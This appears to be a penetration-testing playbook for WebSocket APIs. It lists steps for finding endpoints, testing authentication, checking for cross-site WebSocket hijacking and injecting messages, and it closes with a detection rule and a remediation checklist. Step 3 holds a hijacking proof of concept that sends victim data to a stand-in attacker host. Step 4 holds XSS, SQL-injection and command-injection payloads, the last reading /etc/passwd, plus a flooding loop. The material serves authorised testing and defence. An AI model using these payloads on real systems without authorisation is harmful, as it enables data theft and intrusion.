<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-websocket-security
description: >-
  Test WebSocket API endpoints for authentication bypass, message injection,
  cross-site WebSocket hijacking, origin validation failures, and data
  leakage through insecure WebSocket implementations.
domain: cybersecurity
subdomain: api-security
tags:
  - websocket
  - api-security
  - ws-security
  - cswsh
  - real-time
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1557"]
  owasp-api: ["API2", "API8"]
  tools: ["websocat", "burp-suite", "curl", "nuclei"]
---

# Testing WebSocket Security

## Overview

WebSocket connections bypass traditional HTTP security controls. Once
established, they maintain persistent bidirectional channels that may lack
authentication re-validation, message-level authorization, origin checks,
and input sanitization. Cross-Site WebSocket Hijacking (CSWSH) is a
critical attack vector unique to WebSocket APIs.

## Prerequisites

- Tools: ["websocat", "burp-suite", "curl", "nuclei"]
- WebSocket endpoint URLs (ws:// or wss://)
- Valid authentication tokens
- Authorized testing engagement with written scope

## Key Concepts

- **CSWSH**: Cross-Site WebSocket Hijacking via missing origin validation
- **Message injection**: Sending crafted messages to exploit server logic
- **Auth bypass**: Accessing WebSocket without or with expired credentials
- **Rate limiting**: WebSocket connections often lack message-level throttling

## Workflow

### Step 1: Enumerate WebSocket Endpoints

```bash
# Discover WebSocket endpoints from JavaScript
curl -s https://target.com/app.js | grep -oE "wss?://[^'\"\s]+"

# Check HTTP upgrade responses
curl -sI -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  https://target.com/ws

# Scan for common WebSocket paths
for PATH in "/ws" "/websocket" "/socket.io/" "/realtime" "/live" "/stream" "/chat"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.com$PATH")
  echo "$PATH: HTTP $STATUS"
done
```

### Step 2: Test Authentication on WebSocket

```bash
# Connect without authentication
websocat "wss://target.com/ws"

# Connect with expired token
websocat -H "Authorization: Bearer $EXPIRED_TOKEN" "wss://target.com/ws"

# Test if token is validated per-message or only at handshake
websocat -H "Authorization: Bearer $TOKEN" "wss://target.com/ws" <<< \
  '{"action":"get_admin_data"}'

# Test connection persistence after token revocation
# 1. Establish connection with valid token
# 2. Revoke token via API
# 3. Send messages on existing connection
websocat -H "Authorization: Bearer $TOKEN" "wss://target.com/ws"
# In another terminal: revoke the token
# Then send messages on the WebSocket — should they fail?
```

### Step 3: Test Cross-Site WebSocket Hijacking

```bash
# Test origin validation
websocat -H "Origin: https://evil.com" "wss://target.com/ws"

# Test null origin
websocat -H "Origin: null" "wss://target.com/ws"

# CSWSH proof of concept (serve from attacker domain)
cat > /tmp/cswsh_test.html << 'EOF'
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
    ws.send(JSON.stringify({action: "get_profile"}));
};
ws.onmessage = function(evt) {
    // Data exfiltrated to attacker
    fetch("https://attacker.com/collect?data=" +
        encodeURIComponent(evt.data));
};
</script>
EOF
```

### Step 4: Test Message Injection and Authorization

```bash
# Message-level authorization testing
websocat -H "Authorization: Bearer $USER_TOKEN" "wss://target.com/ws" << 'EOF'
{"action":"subscribe","channel":"admin_notifications"}
{"action":"get_user","userId":"OTHER_USER_ID"}
{"action":"update_role","role":"admin"}
{"action":"execute","command":"SELECT * FROM users"}
EOF

# Injection via WebSocket messages
websocat -H "Authorization: Bearer $TOKEN" "wss://target.com/ws" << 'EOF'
{"message":"<script>alert(1)</script>"}
{"query":"test' OR 1=1--"}
{"action":"ping","target":"; cat /etc/passwd"}
EOF

# Message flooding (rate limit test)
for i in $(seq 1 1000); do
  echo "{\"action\":\"ping\",\"id\":$i}"
done | websocat -H "Authorization: Bearer $TOKEN" "wss://target.com/ws"
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| WebSocket from unknown origin | API gateway | Unexpected Origin in upgrade |
| Message flooding | WebSocket proxy | High message volume per connection |
| Unauthenticated connections | Auth logs | WebSocket without valid token |
| Injection patterns in messages | WAF | SQL/XSS patterns in WS messages |

```yaml
title: Cross-Site WebSocket Hijacking Attempt
id: e1f2a3b4-c5d6-7890-efab-901234567890
status: experimental
description: Detects WebSocket upgrade requests from untrusted origins
logsource:
  category: webserver
detection:
  selection:
    cs-header-Upgrade: websocket
  filter:
    cs-header-Origin|startswith:
      - 'https://target.com'
      - 'https://app.target.com'
  condition: selection and not filter
falsepositives:
  - Development environments with localhost origins
level: high
tags:
  - attack.t1190
  - attack.t1557
```

## Verification

- [ ] WebSocket requires authentication at handshake
- [ ] Origin header validated against allowlist
- [ ] Message-level authorization enforced
- [ ] Token revocation terminates active connections
- [ ] Input validation applied to WebSocket messages
- [ ] Message rate limiting enforced per connection

## References

- [OWASP WebSocket Security](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets)
- [Cross-Site WebSocket Hijacking — PortSwigger](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)
- [RFC 6455 — WebSocket Protocol](https://www.rfc-editor.org/rfc/rfc6455)
